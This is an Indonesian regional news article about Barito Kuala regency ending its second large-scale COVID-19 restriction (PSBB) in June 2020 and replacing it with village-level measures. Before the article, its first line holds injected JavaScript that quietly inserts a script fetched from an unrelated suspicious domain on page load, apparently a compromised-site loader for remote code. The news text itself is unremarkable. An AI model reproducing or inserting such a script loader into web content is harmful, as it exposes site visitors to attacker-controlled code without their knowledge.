(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Categories: Kabupaten Barito Kuala

PSBB Resmi Berakhir, Batola Ganti dengan Pembatasan Sosial Skala Desa dan Kelurahan

KANAL KALIMANTAN.COM, MARABAHAN – Pembatasan Sosial Berskala Besar (PSBB) jilid II di Kabupaten Barito Kuala (Batola) tidak lagi diperpanjang. Sebagai gantinya untuk cegah Covid-19 kabupaten barjuluk Bumi Selidah ini, Pemkab memberlakukan Pembatasan Sosial Sekala Desa/Kelurahan (PS2DK) .

Hal ini disampaikan Bupati Batola Noormiliyani dalam jumpa pers yang dilaksanakannya di posko crisis center covid-19 Batola, Jumat (12/6/2020). “PSBB jilid dua di Kabupaten Batola berakhir, kendati PSBB tidak lagi diperpanjang, Pemkab Batola akan kembali memberlakuan PS2DK,” tegasnya.

Adapun tujuan dari PS2DK ini sebagai pencegahan penanganan dan pengendalian penyebaran covid-19. Sasarannya, satu kecamatan akan di bentuk dua desa yang mana akan ditempatkan di satu desa berzona merah dan satu desa berzona hijau, sehingga antar desa itu dapat saling membantu.

Tidak hanya itu, sebanyak 34 desa menggelar kegiatan ‘Mahelat Lebo Covid-19’ (bahasa bakumpai: menjaga kampung dari Covid-19) juga akan turut dilakukan dengan kegiatan pemberdayaan masyarakat melalui penerapan protokol kesehatan, menggunakan ketahanan pangan, hingga dapat menyajikan kesiapan sistem informasi.

“Adapun waktu pelaksanaan akan dimulai sejak tanggal 13 Juni hingga berakhirnya masa tanggap darurat nasional Covid-19,” pungkasnya.

Saat ini, jumlah terkonfirmasi positif covid-19 di Batola terus meningkat. Namun Batola sendiri dianggap berhasil dalam melakukan penanganan hingga trakcing covid-19, sehingga memutuskan untuk tidak memperpanjang kembali pemberlakuan PSBB. (Kanal kalimantan.com/rdy)

Reporter : Rendy
Editor : Cell